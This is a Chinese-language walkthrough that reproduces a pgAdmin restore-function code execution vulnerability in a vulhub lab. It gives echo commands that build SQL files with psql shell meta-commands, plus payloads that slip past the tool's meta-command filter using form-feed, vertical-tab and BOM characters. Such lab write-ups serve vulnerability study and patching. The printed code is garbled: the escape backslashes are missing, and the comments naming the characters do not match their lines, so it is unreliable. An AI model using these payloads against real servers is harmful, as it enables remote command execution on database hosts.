pgAdmin作为PostgreSQL数据库的主流管理工具,其9.11版本之前存在一个高危安全漏洞。攻击者可通过精心构造的SQL文件绕过安全检查,利用restore功能实现远程代码执行。
pgAdmin是一款广受欢迎的开源数据库管理平台,为PostgreSQL提供强大的Web管理界面。在9.11版本之前,其restore功能存在严重安全隐患。该功能调用psql程序处理用户上传的SQL文件时,未能有效过滤特殊字符,导致攻击者可通过meta command执行系统命令。
搭建测试环境步骤如下:
#vulhub
cd vulhub/pgadmin/CVE-2025-13780
docker-compose up -d
使用默认凭据[email protected]:vulhub登录系统。
准备测试文件:
echo -ne "SELECT 1;n! bash -c 'touch /tmp/hacked2'n" > test.sql
echo -ne "SELECT 1;rn! bash -c 'touch /tmp/hacked2'n" > test2.sql
echo -ne "SELECT 1;r! bash -c 'touch /tmp/hacked2'r" > payload.sql
依次点击servers→输入密码→server - main - database - vulhub,右键选择restore功能。

选择文件并上传:

点击"upload"按钮完成上传。
将格式切换为"Plain"后执行payload。

测试其他文件时可能遇到安全拦截:

这是由于has_meta_commands()函数仅识别特定格式。可通过多种方式构造payload绕过检测:
# 垂直制表符
echo -ne "SELECT 1;x0c! ls>/tmp/ls" > payload_ff.sql# 换页符
echo -ne "SELECT 1;x0b! id>/tmp/id" > payload_vt.sql# UTF-8 BOM绕过
echo -ne "xefxbbxbf! echo utf_bom>/tmp/bom" > payload_bom.sql
该漏洞凸显了数据库管理工具安全性的重要性。通过及时更新和合理配置,可有效防范此类安全风险,确保数据库环境的安全稳定运行。